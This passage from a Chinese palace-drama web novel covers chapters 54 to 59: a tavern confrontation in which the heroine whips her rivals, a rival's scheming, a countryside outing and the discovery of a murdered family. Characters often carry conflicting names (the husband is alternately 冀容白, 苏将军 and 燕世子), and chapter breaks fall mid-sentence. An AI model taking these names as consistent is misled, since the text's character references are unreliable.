《凤逆天下:毒妃倾世狂医》 第五十四章 真是冤家路窄! 茅清兮心中冷笑。 只见清韵双手叉腰,活像一只炸了毛的母鸡。她下巴高高抬起,鼻孔朝天,眼神轻蔑地扫过面前几个瑟瑟发抖的女子。 “把她们给本公主轰出去!” 清韵的声音又尖又利,震得人耳膜发疼。 “你,你凭什么?” 刁雅嫣鼓起勇气,大着胆子质问。 她脸色苍白,嘴唇哆嗦着,显然是被清韵的气势吓得不轻。 她身边的几个女子,茅清兮也都认得: 茅暮暮,还有几位经常和她厮混在一起的“好姐妹”——左御史家的千金韩柔,刑部侍郎家的千金康雨芸。 茅清兮冷眼旁观,心中冷笑更甚。 “凭什么?” 清韵像是听到了什么天大的笑话, “就凭这京城是本公主的地盘!” 她身后的侍卫立刻上前,一个个凶神恶煞,摩拳擦掌,就要动手。 “公主息怒!” 眼看事情要闹大,茅暮暮连忙站出来,努力装出一副温婉的样子: “公主若是喜欢这间雅座,我们让给您就是了,何必动怒呢?只是,我们几家好歹也是官宦人家,公主这样……未免太不给面子了。” 她这话,明着是服软,暗地里却是在给清韵挖坑。 果然,大堂里立刻响起了嗡嗡的议论声,不少人看向清韵的眼神都带上了几分不满。 在京城,谁不知道清韵公主的跋扈? 可光天化日之下,把朝廷命官的家眷赶出酒楼,这事儿要是传出去,御史台那帮老家伙的唾沫星子都能把清韵给淹了。 清韵显然也明白这一点,脸色一阵青一阵白。 她平日里作威作福惯了,什么时候受过这种气? “本公主稀罕你们让?” 清韵冷哼一声, “是本公主先看上的!懂不懂先来后到?” “可我们已经坐下了!” 康雨芸不甘示弱地顶了回去。 “坐下又怎样?本公主让你们起来,你们就得起来!” 清韵说着,猛地一挥手, “来人,把她们给本公主……” “慢着!” 乐雅书的声音突然响起,打断了清韵。 他走到清韵面前,微微一笑,温声说道: “公主,几位小姐也不是故意的,不如给在下一个面子,这事儿就算了吧?” 他转头看向茅暮暮等人, “我订的那间雅座让给几位小姐,这个房间专门给公主住,如何?” 乐雅书这话说得滴水不漏,既给了清韵台阶下,又安抚了茅暮暮等人。 茅暮暮偷偷看了乐雅书一眼,心中暗暗松了口气。 乐雅书不仅生得俊美,而且温文尔雅,京城里不知有多少贵女对他芳心暗许。 她微微颔首,轻声道: “多谢乐公子。” 其他人见茅暮暮都答应了,自然也不好再说什么。 乐雅书又看向清韵公主,等待她的回应。 清韵心里一百个不乐意。 她非要这间雅座,就是不想和乐雅书待在一块儿! 可现在乐雅书主动把自己的雅座让了出来,她要是再闹下去,就显得太不识好歹了。 更何况,之前乐雅书还救过她一命…… 清韵正纠结着,茅清兮的声音突然传来: “公主若是赏脸,今日这顿,小女子请了。” 她笑盈盈地走下楼,仿佛刚才的不愉快从未发生过。 清韵一见是她,立刻眉开眼笑,把刚才的烦恼抛到了九霄云外: “好啊!” 乐雅书见到茅清兮,眼中闪过一丝诧异,但很快便恢复了平静。 他朝茅清兮微微点头,算是打了招呼,又向清韵公主告了辞,便带着他的朋友们上了楼。 茅清兮没有理会乐雅书,径直走到清韵公主身边,亲热地挽住她的胳膊: “公主,楼上请。” “姐姐……” 茅暮暮突然开口,声音细若蚊蝇。 茅清兮脚步一顿,转过身,似笑非笑地看着她。 自从上次落水事件后,茅暮暮在京城的名声一落千丈,关于她腰间胎记的流言更是传得满城风雨。 茅清兮还真没想到,她竟然还有胆子出来抛头露面。 茅暮暮被她看得心里发毛,强忍着心中的厌恶,挤出一个比哭还难看的笑容: “姐姐,许久不见,妹妹甚是想念……” “想念?” 茅清兮打断她,语气中带着一丝嘲讽, “我怎么听说,你在家里‘闭门思过’呢?” “我……” 茅暮暮脸色一白,支支吾吾地说不出话来。 “茅清兮,你少在这儿装模作样!” 刁雅嫣忍不住跳出来,指着茅清兮的鼻子骂道, “你以为你嫁进陆家就了不起了?还不是个冲喜的……” “雅嫣!” 茅暮暮连忙拉住她,生怕她再说出什么不该说的话。 “怎么?我说错了吗?” 刁雅嫣冷哼一声, “她自己做了什么丑事,自己心里清楚!” “就是!” 康雨芸和韩柔也跟着附和。 “听说她连陆家的大门都没进去,就被赶出来了……” “还回门?她也配?” “苏将军要是醒不过来,她就等着守寡吧!” …… 一句句恶毒的诅咒,像毒蛇一样缠绕在茅清兮的心头。 但她脸上却没有丝毫怒意,反而笑得更灿烂了。 她转头看向清韵公主,眨了眨眼: “公主,您说,她们是不是很吵?” 清韵正看得津津有味,闻言立刻点头: “吵死了!” “那……” 茅清兮微微一笑, “不如,请她们出去?” “好主意!” 清韵公主说着,顺手将腰间的鞭子递给茅清兮, “借你用用。” 茅清兮接过鞭子,在手中掂了掂,嘴角勾起一抹玩味的笑容。 她早就想教训教训这几个不知天高地厚的丫头了! 以前在安阳侯府,她顾忌着父亲茅文昭,不得不忍气吞声。 可现在…… 她可是陆家的人! 就算闹出天大的乱子,也有陆家给她撑腰! “茅清兮,你敢!” 刁雅嫣见势不妙,色厉内荏地喊道。 “啪!” 茅清兮二话不说,直接一鞭子抽了过去! “啊!” 刁雅嫣猝不及防,被抽了个正着,顿时发出一声惨叫。 “你……” 茅暮暮吓得脸色惨白,连连后退。 “啪!啪!啪!” 茅清兮却没有停手的意思,鞭子接二连三地抽在几人身上。 一时间,惨叫声、求饶声、咒骂声响成一片。 醉月楼门口,瞬间乱成了一锅粥。 “都给我住手!” 茅清兮突然一声厉喝,声音不大,却带着一股不容置疑的威严。 几人被她吓得一愣,竟然真的停下了动作。 “茅暮暮,” 茅清兮走到她面前,居高临下地看着她, “身为妹妹,不敬长姐,出言不逊,该罚!” “我……” “还有你们,” 茅清兮目光扫过刁雅嫣等人, “身为客人,在酒楼喧哗滋事,扰乱秩序,该打! 第五十五章 ” “你,你这是滥用私刑!” 康雨芸捂着脸,声嘶力竭地喊道, “我要去告你!” “去告啊。” 茅清兮耸了耸肩,一脸无所谓, “不过,我劝你们最好想清楚了。” 她顿了顿,语气突然变得阴森森的: “我夫君……可不是个好惹的。万一他醒过来,知道你们欺负了他娘子……” 她故意停顿了一下,看着几人惊恐的眼神,满意地笑了。 “他那个人,最喜欢把人剁碎了喂狗。” “你们说,是不是?”“茅清兮那个贱人,她是疯了吗?竟然敢威胁我们?” 刁雅嫣气得浑身发抖,猛地一拍桌子,上面的茶杯都跳了起来。她猛地转过头,死死盯着身旁几人。其他人却都低着头,像鹌鹑一样缩着脖子,一声不吭。 “你们……你们不会真信了她那些鬼话吧?” 刁雅嫣瞪大了眼睛,眼珠子都快凸出来了,声音尖锐得像要刺破人的耳膜。她简直不敢相信,这几个平日里和自己一起作威作福的人,居然会被茅清兮几句话就吓破了胆。 “苏将军凭什么要庇护于她?她真把自己当盘菜了!真把自己当根葱了!” 茅暮暮脸色铁青,嘴唇紧抿成一条线,指甲深深地掐进了掌心,几乎要掐出血来。 康雨芸脸色煞白,嘴唇哆嗦着,声音细若蚊蝇:“你们……还记得宁王妃那四个侍女吗?她们在洛国公府门前……跪了整整三个时辰啊……生生跪晕了过去!” 她的话像一盆冰水,兜头浇在了众人头上,让原本就凝重的气氛瞬间降至冰点。 刁雅嫣紧紧咬着牙,牙齿磨得咯咯作响,她还是不甘心。 “难道……难不成是茅清兮把咱们揍成这副德行,这事儿就这么算了?她当我们是什么?任她搓圆捏扁的软柿子吗?!” 康雨芸轻轻摇了摇头,眼神中透着深深的无奈和忌惮: “雅嫣,我知道你咽不下这口气,可……咱们惹不起她。你想想,苏将军是什么人?别说刑部,就是大理寺、都察院,三法司绑在一起……也不敢动他的人。去了也是自取其辱!” 韩柔也开口附和,语气沉重:“雨芸说的没错,刑部不可能管这种小事。至于锦衣卫……自从大晋朝开国,锦衣卫早就名存实亡了,哪里还管得了这些事?” “可恨……”茅暮暮猛地抬起头,眼底燃烧着熊熊的妒火和恨意,手中的丝帕被她绞得稀烂,“难道就这么放过她?我不甘心!” 哪怕茅清兮有冀容白护着,她也要让她付出代价,让她生不如死! 如果冀容白不识趣,胆敢阻拦她……那就别怪她心狠手辣,连他一起收拾了! 反正,冀容白已经是个快要进棺材的病秧子了,她不过是送他一程罢了。 茅暮暮眼神阴鸷,心中已经盘算好了一个恶毒的计划。她缓缓转过头,目光阴冷地望向醉月楼,像一条毒蛇盯上了自己的猎物。 片刻后,茅暮暮收回视线,转身离去。 她的马车刚行至半路,就被人拦了下来。 茅暮暮心中一惊,以为是仇家寻仇,下意识地抓紧了车厢内的软垫。 “谁?!”春秋厉声喝问。 “暮暮,是我。” 熟悉的声音传来,茅暮暮紧绷的神经这才放松下来。 她深吸一口气,缓缓掀开马车帘子。 映入眼帘的,是刁明远那张焦急而关切的脸。 茅暮暮的瞳孔微微一缩,随即又恢复了平静。 “春秋,你去跟林公子说,请他在前面的"墨香斋"稍候,我稍后就到。” 茅暮暮的声音听起来很平静,但只有她自己知道,此刻她的心跳得有多快。 春秋应了一声,快步跑开了。 没过多久,茅暮暮的马车便停在了“墨香斋”书肆门口。 茅暮暮扶着春秋的手,缓缓走下马车。 她今天特意戴了一顶帷帽,轻纱遮面,将她的容貌隐在了朦胧之中。身上穿的,是一件月白色的衣裙,裙摆上用银线绣了几枝寒梅,衬得她整个人如寒冬中傲立的梅花,清冷孤傲。 刚踏进书肆,刁明远就急匆匆地迎了上来,眼睛直勾勾地盯着茅暮暮,像是要把她看穿一样:“暮暮,你可算来了!我担心死了!” “林公子。”茅暮暮微微屈膝,向他行了一礼,声音轻柔如风。 刁明远急切地问道:“暮暮,你这几天为什么一直躲着我?我给你送了好几次帖子,你都不肯见我。我……我真的很担心你,你是不是出了什么事?” 茅暮暮低垂着头,眼睫轻颤,遮住了眼底复杂的情绪。 “林公子,我们……还是不要再见面了。”茅暮暮的声音很轻,带着几分无奈和苦涩,“我的名声……已经被毁得差不多了,我不想再连累你。” “暮暮,那些流言蜚语,我一个字都不信!”刁明远急忙打断她的话,语气坚定得不容置疑,“我早就问过刁然了,他说那些都是别人胡编乱造的!还有人说你身上的梅花胎记是我告诉别人的……我发誓,我绝对没有对任何人提起过!” “我知道,我相信林公子。”茅暮暮抬起头,看着刁明远,眼中闪过一丝不易察觉的笑意。 “暮暮,你能相信我,真是太好了!”刁明远激动得眼眶都红了,他觉得自己的一片真心总算没有被辜负。 茅暮暮轻轻咬了咬下唇,欲言又止:“我当然选择相信林公子……只是这件事……唉……” 她故意停顿了一下,长长地叹了口气,像是有什么难言之隐。 刁明远果然上钩,急切地追问道:“只是什么?暮暮,你告诉我,到底是谁在背后搞鬼?是不是茅清兮?是不是她一直在针对你?” 茅暮暮缓缓摇了摇头,眼神黯淡,声音低落:“林公子,你就别问了……这事跟你没关系,你又何必为了我惹上麻烦呢……” 她这副强忍委屈、故作坚强的模样,更是让刁明远心疼得无以复加。 他上前一步,想要扶住茅暮暮的肩膀,却又怕弄疼了她,手悬在半空中,不知该如何是好。 “暮暮,你告诉我,究竟发生了什么事?你别怕,有我在,我一定会保护你的!” “林公子,我们家主子受伤了,您别碰她!”春秋突然冲了过来,一把将刁明远推开,挡在了茅暮暮身前。 她瞪着刁明远,语气不善:“您要是真关心我家小姐,就该离她远点!别再给她添麻烦了!” 刁明远被推得一个趔趄,差点摔倒。 他顾不上责怪春秋,急忙问道:“有伤?暮暮,你受伤了? 第五十六章 伤在哪里?严不严重?快让我看看!” 茅暮暮轻轻拉了拉春秋的衣袖,示意她不要再说了。 春秋却不肯罢休,红着眼睛说道:“小姐,您就是太善良了!什么事都自己扛着!您不说,我来说!” 她转过头,看着刁明远,咬牙切齿地说:“还不是拜您所赐!要不是您,我家小姐也不会被茅清兮那个毒妇盯上!她嫉妒小姐比她优秀,就想方设法地败坏小姐的名声!现在还……还用鞭子抽了小姐一身的伤!” “什么?!”刁明远如遭雷击,整个人都呆住了,“茅清兮……她竟然敢用鞭子打你?她还是人吗?!” 他看着茅暮暮,眼中充满了心疼、愧疚和愤怒,声音颤抖得不成样子:“都怪我……都怪我……如果不是我,你也不会受这么多委屈……” 茅暮暮轻轻摇了摇头,声音温柔如水:“林公子,这不怪你,真的……姐姐她一直不喜欢我,就算没有你,她也会找别的借口欺负我的……” 刁明远听了这话,只觉得心如刀绞,恨不得立刻冲到茅清兮面前,把她碎尸万段。 “不行!我不能就这么算了!我要去找茅清兮!我要让她给你赔礼道歉!我要让她付出代价!” 他说着,转身就要往外冲。 “林公子!”茅暮暮急忙叫住他,“你别去!你斗不过她的……” “我……”刁明远的脚步顿住了,他转过身,看着茅暮暮,眼中充满了痛苦和挣扎,“可是我……我不能眼睁睁地看着你受欺负……” “小姐,您就别拦着林公子了!”春秋在一旁煽风点火,“让他去找茅清兮那个贱人算账!让她知道,我们家小姐也不是好欺负的!” 茅暮暮皱了皱眉,呵斥道:“春秋,住口!这里哪有你说话的份!” 她转过头,看着刁明远,轻声说道:“林公子,我知道你是为了我好,可是……茅清兮她有苏将军撑腰,你斗不过她的。你去了,只会自取其辱,还会连累我……” “我……”刁明远张了张嘴,却什么也说不出来。 他知道茅暮暮说的是实话,可他就是咽不下这口气。 “小姐,您别再替他说话了!”春秋气愤地说道,“他就是个没用的废物!连自己的心上人都保护不了,还算什么男人!” “春秋!”茅暮暮厉声喝道,“你再胡说八道,就给我滚出去!” 春秋被吓了一跳,不敢再吭声了。 茅暮暮看着刁明远,眼中闪过一丝失望,但很快又被温柔所取代。 “林公子,你别听春秋胡说。我知道你是个好人,你对我的好,我都记在心里。可是……我们之间的差距太大了,我不想让你为了我,去做那些无谓的牺牲。” “暮暮……”刁明远看着茅暮暮,只觉得心中一阵阵的绞痛。 他知道,茅暮暮说的都是实话,他确实斗不过茅清兮,更斗不过她背后的苏将军。 可是,他真的好不甘心,好不甘心就这样放弃。 他紧紧握着拳头,指甲深深地嵌入了掌心,却感觉不到一丝疼痛。 “小姐,我看林公子也没什么用,不如……”春秋在一旁小声嘀咕道。 “闭嘴!”茅暮暮瞪了她一眼,打断了她的话,“林公子对我还有用,你别再胡说八道了!” 刁明远在京城的学子中颇有声望,他的文章诗赋,常常被人争相传阅,奉为经典。 茅暮暮正是通过他,才得以结交那些文人雅士,一步步在京城站稳脚跟,博得了“京城第一才女”的美名。 刁明远对她来说,不仅仅是一个爱慕者,更是一颗重要的棋子。 她绝不会轻易放弃这颗棋子。 雅间内,茅清兮正与清韵公主相对而坐,桌上摆满了珍馐美味。 两人边吃边聊,气氛轻松愉快。 “清兮,你方才那几鞭子,可真有你的!打得好!就该给那些不知天高地厚的丫头们一点颜色瞧瞧!”清韵公主眉飞色舞,眼中闪烁着兴奋的光芒。 “公主若是喜欢,我可以教你几招。”茅清兮微微一笑,“不过,这鞭法可不是一朝一夕就能练成的,需要持之以恒的练习。” “还是算了吧,我可没那个耐心。”清韵公主连连摆手,“我还是更喜欢看别人挨打。” 她顿了顿,又说道:“不过,你这鞭子看着挺不错的,要不送给我吧?下次再遇到这种事,我就不用亲自动手了。” 茅清兮笑着摇了摇头:“这鞭子是我夫君送我的,我可舍不得送人。” “你夫君?”清韵公主挑了挑眉,“就是那个……苏将军?” “嗯。”茅清兮点了点头。 “他对你倒是挺上心的。”清韵公主若有所思地说道。 茅清兮笑了笑,没有接话。 “对了,你刚才说,我来的路上出了点意外?”茅清兮转移了话题。 “可不是嘛!”清韵公主一提起这事就气不打一处来,“我好端端地走在路上,突然就从旁边客栈的二楼掉下来一根木头,差点没把我砸死!” “木头?”茅清兮皱了皱眉,“怎么会突然掉下来木头?” “谁知道呢!可能是年久失修,也可能是有人故意搞鬼。”清韵公主撇了撇嘴,“幸好我命大,不然今天就见不到你了。” “那你有没有受伤?”茅清兮关切地问道。 “我倒是没受伤,不过……”清韵公主欲言又止。 “不过什么?” “不过,我那些侍卫,一个个都跟木头桩子似的,站在那里一动不动,眼睁睁地看着木头朝我砸过来!要不是乐雅书正好路过,把我推开了,我这条小命可就交代了!” “乐雅书救了你?”茅清兮有些惊讶,“他一个文弱书生,怎么会有这么快的反应?” “谁知道呢,可能是瞎猫碰上死耗子了吧。”清韵公主耸了耸肩,“他当时正好在旁边给他妹妹挑首饰,估计是看到木头掉下来,下意识地就冲了过来。” “这事……也太巧了。”茅清兮若有所思地说道。 “可不是嘛!我也觉得奇怪。”清韵公主点了点头,“你说,会不会是有人故意要害我?” “这……”茅清兮沉吟片刻,“也不是没有可能。” “算了,不想这些了。”清韵公主摇了摇头,“反正我已经没事了。对了,我跟乐雅书说了,要好好感谢他,他却说只是举手之劳,叫我别往心里去。” 她冷哼一声:“我才懒得放在心上呢!难不成他还想让我以身相许啊?” “长公主……还是想让你嫁给他?”茅清兮试探着问道。 第五十七章 “是啊,我娘也不知道怎么想的,非要让我嫁给那个华儒!”清韵公主一脸的不情愿,“说什么他学问好,人品好,还说什么他洁身自好,身边没有乱七八糟的女人……我娘是不是老糊涂了?难道就因为这些,我就要嫁给他?我才不干呢!” 清韵公主的语气中,充满了对这门亲事的抵触和不满。 茅清兮心中了然。 上一世,清韵公主和乐雅书的婚事,最终还是没能成。 订婚前夕,清韵公主被爆出与人私通,名声尽毁,婚事自然也就告吹了。 以茅清兮对清韵公主的了解,她绝不是那种会做出这种事的人。 这其中,定有蹊跷。 很可能是有人故意设计陷害清韵公主,破坏她和乐雅书的婚事。 而今天这事,也未免太过巧合。 如果不是有人故意为之,怎么会这么巧,清韵公主走到哪里,木头就掉到哪里?茅清兮刚打发走清韵公主,转头就吩咐司玄苏去办两件事。 “你去查查乐雅书的底细,还有今天清韵遇险的那家酒楼。” 她声音冷冷的。 直觉告诉她,清韵险些被砸到这件事,绝非偶然。 巧合太多,就只能是人为。 这顿饭吃得还算尽兴。 用完膳,茅清兮和清韵并肩走出包间。 刚到楼梯口,两人就和乐雅书撞了个正着。 他一袭青衫,身形颀长,文质彬彬的样子。 乐雅书朝清韵恭敬一礼,微微侧身,做了个“请”的手势: “公主先请。”声音温润。 清韵公主下巴微抬,毫不客气地先走一步。 茅清兮瞥了乐雅书一眼,没说什么,紧随清韵身后下了楼。 乐雅书这番作态,似乎坐实了清韵的猜测—— 他的确只是举手之劳,并未借机攀附。 毕竟,大晋朝虽然没有明文禁止驸马入仕,但约定俗成的规矩,驸马通常不入朝为官。 这么看来,长公主为清韵挑选的这门亲事,倒也算门当户对。 常家虽是国公府,却无实权。 族中子弟多是清流文人,或在书院任教,或潜心著述,不涉朝政。 乐雅书若尚了公主,国公府的爵位自然归他。 只是,入仕之路,恐怕就此断绝。 茅清兮心里盘算着这些,和清韵一起走到醉月楼门口。 冷不防,一个意想不到的身影,挡住了她们的去路。 “你怎么来了?” 茅清兮有些惊讶。 她没想到冀容白会出现在这里。 “听说有人在我的地盘上,对我娘子出言不逊?” 冀容白微微挑眉,似笑非笑。 他目光一扫,原本还算热闹的酒楼门口,瞬间安静如鸡。 “看来是我来迟了,那些不长眼的,已经走了。” 他语气中带着一丝遗憾,还有一丝不易察觉的冷意。 茅清兮知道,冀容白指的是茅暮暮她们几个。 他这护短的性子,倒是来得快。 不过,她也明白,自己先前那番话,不过是借冀容白的势。 现在正主找上门来,她倒有些不好解释了。 清韵公主见状,眼睛滴溜溜一转,凑到茅清兮身边,小声嘀咕: “清兮,这冀容白不会真对你动心思了吧?他这副护犊子的样子,可不多见。” 冀容白耳力极好,自然听到了清韵的“悄悄话”。 他也不恼,只是淡淡瞥了清韵一眼: “公主慎言,内子与我,乃是圣上赐婚,名正言顺。” 清韵撇撇嘴,显然不信他的说辞。 “名正言顺又如何?谁不知道你燕世子心里头,还藏着个白月光呢?” 她这话一出,茅清兮明显感觉到冀容白周身的气息冷了几分。 看来,清韵并非空穴来风。 冀容白冷冷开口:“公主还是管好自己,长公主的寿宴上,本世子会备一份厚礼。” 清韵一听这话,顿时像被踩了尾巴的猫,差点跳起来。 “冀容白!你敢威胁我!” 她最怕的就是她娘逼她成亲。 茅清兮见两人又要吵起来,连忙打圆场。 “好了好了,大庭广众的,像什么样子。” 她瞪了冀容白一眼,又对清韵道: “公主还是先回府吧,免得长公主担心。” 清韵气哼哼地瞪了冀容白一眼,转身就走。 走了几步,她又想起什么似的,回头冲茅清兮喊道: “清兮,你可别忘了,这姓燕的不是什么好东西!小心他骗你!” 冀容白脸色一沉,正要开口,却被茅清兮抢先一步。 “洛青。” 她叫的不是墨川,而是冀容白身边的另一个侍卫。 “送公主回府,就说世子说的,公主金枝玉叶,不宜在外久留。” 洛青领命,快步追上清韵。 “你!” 冀容白被茅清兮这番操作弄得哭笑不得。 “娘子这是在帮我?” “我只是不想让旁人觉得,我茅清兮的夫君,是个喜欢和女子斗嘴的。” 茅清兮淡淡道。 冀容白一噎,随即轻笑一声。 “娘子说的是,为夫受教了。” 他顿了顿,又道: “今日天气正好,不如,我们去郊外走走?” 茅清兮本想拒绝,但转念一想,自己也确实需要透透气。 “好。” 她点头应允。 冀容白立刻吩咐墨川和紫姨准备出游的物品,让他们随后赶来。 他自己则亲自驾车,带着茅清兮,往城郊驶去。 墨川看着自家主子这般殷勤,忍不住在心里嘀咕: 主子这是真对宋姑娘动心了? 他摇了摇头,不敢再想下去。 马车缓缓驶出城门,沿着官道,一路向北。 春日融融,草长莺飞。 官道两旁,绿意盎然,生机勃勃。 和煦的春风,轻轻拂过脸颊,带来阵阵暖意。 茅清兮靠在窗边,望着窗外不断变换的景色,心情也渐渐放松下来。 “娘子,尝尝这个。” 冀容白不知何时,从车厢暗格中取出一个精致的食盒。 他打开食盒,一股甜香扑鼻而来。 “这是……桃花酥?” 茅清兮有些惊喜。 她记得,自己似乎只在冀容白面前提过一次,喜欢桃花酥的清甜。 没想到,他竟然记住了。 冀容白将一块桃花酥递到茅清兮面前。 “尝尝,这是我特意让‘香满楼’的师傅做的,你尝尝味道如何。” 茅清兮接过桃花酥,轻轻咬了一口。 酥皮入口即化,桃花馅料甜而不腻,带着淡淡的清香。 “好吃。” 她由衷赞道。 冀容白见她喜欢,眼中笑意更浓。 “喜欢就好,以后我常做给你吃。” 他一边说着,一边又打开食盒的下几层。 “这里还有杏仁酪、桂花糕……都是你爱吃的。” 茅清兮看着这些精致的点心,心中微微一动。 冀容白这份细心,确实让她有些意外。 “冀容白,你……” 她刚想开口,却被冀容白打断。 第五十八章 “娘子不必多言,你我既已成婚,这些都是我该做的。” 他语气温柔,目光灼灼。 茅清兮被他看得有些不自在,连忙移开视线。 她低下头,继续吃着手中的桃花酥,不再说话。 马车内,一时静谧无声。 只有车轮滚动的声音,和着微风拂过树叶的沙沙声,在耳边回响。 茅清兮吃了几块点心,忽然想起一事。 “冀容白,你的毒……” 她顿了顿,还是问出了口。 “真的没有办法解吗?” 冀容白抬眸看向她,眼中闪过一丝复杂的情绪。 “有。” 他语气肯定。 “我已经找到了可以解我毒的人。” 茅清兮闻言,心中一震。 寒星露能解冀容白身上的毒,这是她早就知道的。 可前世,冀容白明明…… 难道,他的死,并非因为毒发,而是另有隐情? 她正思索间,马车忽然停了下来。 “到了。” 冀容白的声音传来。 茅清兮抬眼望去,只见一座道观,出现在眼前。 青松观。 这三个字,如同一道惊雷,在她脑海中炸开。“这庄子,是你的?” 马车缓缓停下,茅清兮轻声问。 冀容白“嗯”了一声,率先下车,朝她伸出手。 茅清兮搭着他的手,借力跃下。 眼前,是一座三进的院落。 雕梁画栋,古朴雅致。 几丛修竹掩映其间,更添了几分幽静。 不远处,青松观的轮廓隐约可见。 “倒是个清净地方。” 她淡淡评价。 “将军,夫人。” 一个管家模样的中年男子,带着几个仆从迎了上来。 满脸堆笑,步履匆匆。 “我们小住几日,不必特意张罗。” 冀容白吩咐,语气寻常。 “得嘞。” 管家连连应声,眼睛却不住地往茅清兮身上瞟。 那眼神,让她微微蹙眉。 “这里住的,都是你的人?” 茅清兮问冀容白。 “嗯,多是些战场上退下来的老兄弟,还有他们的家眷。” 冀容白的声音低沉了些, “他们身上有伤,寻常营生做不了,便安置在了这里。” 茅清兮沉默了片刻。 她知道冀容白口中的“老兄弟”,指的是鹰羽卫。 那是他一手创建的军队。 每一个,都是从死人堆里爬出来的。 对西魏人来说,鹰羽卫三个字,便意味着恐惧。 可这样一支铁血之师,背后却是无数的伤残。 大晋立国前后,战事不断。 那些从战场上退下来的老兵,往往身有残疾,难以谋生。 朝廷那点微薄的抚恤,根本不够他们养家糊口。 可冀容白……却将这些鹰羽卫的残兵和家眷,都安置在了这里。 想到这,茅清兮的眼神,有些复杂。 冀容白这样的人,不该死。 若是他死了,这些人为国流过血,却要沦为他人手中的棋子。 她心中,忽然有了个决定。 花朝节,她要保住冀容白。 至少,不能让他死在那些阴谋算计里。 “庄子里养了些鸡鸭鱼,都是自家产的,夫人可要尝尝?” 管家殷勤的声音,打断了她的思绪。 冀容白微微颔首。 茅清兮却觉得,那管家的眼神,越发古怪了。 晚膳时,桌上菜肴丰盛。 鸡是庄子里散养的,肉质紧实。 鱼是刚从池塘里捞的,鲜美肥嫩。 让茅清兮意外的是,这庄子里厨子的手艺,竟比洛国公府的还要好。 “冀容白,跟你商量个事儿。” 她咬着筷子,眼珠转了转。 冀容白抬眸,等着她开口。 “你这厨子,能不能……” 她斟酌着词句, “借我使几天?” 冀容白笑了,眉眼间带着几分戏谑: “夫人若想要,连我……一并带走便是。” 茅清兮噎了一下。 这人,又开始不正经了! 她翻了个白眼,懒得跟他计较。 她只是想着,若将来和离了,能把这厨子带走。 洛国公府的饭菜虽好,可跟这庄子上的比,还是差了些。 她往后一个人过日子,可不想亏待了自己的嘴。 “夫人喜欢就好。” 冀容白似乎看穿了她的心思,吩咐管家: “今日庄子里的人,都赏二两银子。” “哎呦,多谢夫人!” 管家喜出望外,连连向茅清兮道谢。 茅清兮:“……” 这钱,又不是她掏的! 可管家已经乐呵呵地跑出去传话了。 没过多久,庄子里的人,竟都聚到了院门口。 乌泱泱的一片,跪了一地。 “夫人心善,给您磕头了!” “夫人长得俊,功夫又好,咱们将军,有福气!” “夫人往后想吃啥,尽管吩咐,小的们给您送去!” …… 一声声,一句句,热情得让茅清兮有些招架不住。 她不自觉地往冀容白身边靠了靠。 这阵仗,也太大了点! “行了行了,都回去吧。” 冀容白笑着朝众人摆了摆手, “不就是想看看我夫人长什么样吗?都看够了吧?” “将军,兄弟们这不是替您高兴嘛!” 管家笑呵呵地打圆场。 “得了,都散了吧。” 冀容白笑着打发了众人。 茅清兮松了口气。 这些人,也太热情了些。 “这些老兵,性子都直,说话也没个遮拦,你别往心里去。” 冀容白解释。 “你们鹰羽卫,是不是都很厉害?” 茅清兮起了好奇心。 “没我厉害。” 冀容白看了她一眼, “夫人想试试?” 茅清兮:“……” 她默默地往后挪了挪。 “你还是……先顾好你自己吧。” 冀容白点点头: “这话说得对。” - 用过晚膳,墨川和富峻已经在院中等候。 两人都换上了劲装,腰间佩剑。 冀容白也换了一身玄色衣衫。 “要出门?” 茅清兮问。 “嗯,去办点事,去去就回。” 冀容白笑了笑, “替我留盏灯。” 茅清兮直接无视了他话里的调侃。 留灯? 她又不是那些个痴等丈夫归家的小娘子。 冀容白要是真这么想,那她…… 总有一天让他知道厉害! - 冀容白一出庄子,神色便冷了下来。 “人呢?” 他沉声问。 “回主子,在六里外的一处农户家。” 墨川答。 冀容白颔首,双腿一夹马腹,率先冲了出去。 墨川、富峻紧随其后。 夜色中,三匹快马,风驰电掣。 - 离那农户家还有一段距离时,冀容白忽然勒住了马。 马儿一声嘶鸣,前蹄高高扬起。 他抬手,示意身后二人停下。 “怎么了?” 富峻问, “不进去抓人了?” 冀容白没有回答,只说了两个字: “血味。” 墨川脸色一变: “有人捷足先登?” “看看去。” 冀容白翻身下马。 墨川、富峻也跟着下马。 三人将马匹拴在路边,蹑手蹑脚地摸向小院。 院门虚掩着,还未靠近,一股浓烈的血腥气,便扑鼻而来。 冀容白轻轻推开院门。 第五十九章 院子里,横七竖八地躺着几具尸体。 “都死了。” 富峻和墨川分头查看后,回来禀报。 “谁干的?” 富峻恨恨地问, “偏偏赶在我们前面?有人跟踪咱们?” “伤口长约一寸,是军中常用的弩机。” 墨川沉声道。 冀容白眼眸微眯: “禁军。” “禁军统领,不是尹家人吗?” 富峻不解, “尹家为何要杀华岑的家人?” 冀容白没直接回答,反而说起了另一件事. “还记得碧云楼那场刺杀吗?” “主子是说……”墨川隐约猜到了什么。 “华岑两年前从北境逃到京城,宁王的人找到他,却迟迟没有动作。”冀容白冷笑,“直到碧云楼那出戏,将他送到我面前...若不是在演戏,又何必大费周章?” “可这又能说明什么?”富峻还是不明白。 “若当年的事,真是宁王指使,他又何必多此一举?” 冀容白的声音冷了下来, “他大可以直接将华岑交给我,以示清白。” “可他偏偏选了最麻烦的一种方式……”墨川若有所思。 “如今,华岑的家人又被禁军灭口。”冀容白接着说,“所有的线索,都指向了宁王…可不觉得,太刻意了吗?” “那咱们现在怎么办?” 富峻有些着急, “如果不是宁王,那究竟是谁给主子下的毒?” “除了宁王……” 冀容白扯了扯嘴角, “这京城里,想让我死的人,可不少。” “冀国公?” 墨川试探着问。 冀容白没有说话,只是眼神变得更加幽深。 墨川和富峻对视一眼,都从对方眼中看到了震惊。 他们跟随冀容白多年,从未听他提起过家事。 可如今…… 冀容白的话,却让他们不寒而栗。 难道,冀国公真的……夜色已深,燕园内静谧无声。 主屋却还亮着一盏灯,昏黄的光晕透过窗纸,在庭院中投下一片温暖。 冀容白回到院中,一眼便望见了那抹光亮。 连日来的疲惫和心头萦绕的寒意,仿佛都被这灯光驱散了些许。 他抬手示意,墨川会意,悄无声息地退下。 冀容白独自停在门前,没有立刻进去,只是静静地望着那扇门。 屋内,茅清兮正专心致志地研读着一本医书,全然未觉时间的流逝。 紫姨近日来教她的医术越来越深奥,她不敢有丝毫懈怠,只恨不能将书中的每个字都刻进脑海里。 烛火轻摇,在她清丽的侧脸上投下明明灭灭的光影。 “吱呀——” 门被推开,发出轻微的声响。 茅清兮这才抬起头,目光与冀容白的视线相遇。 “娘子。” 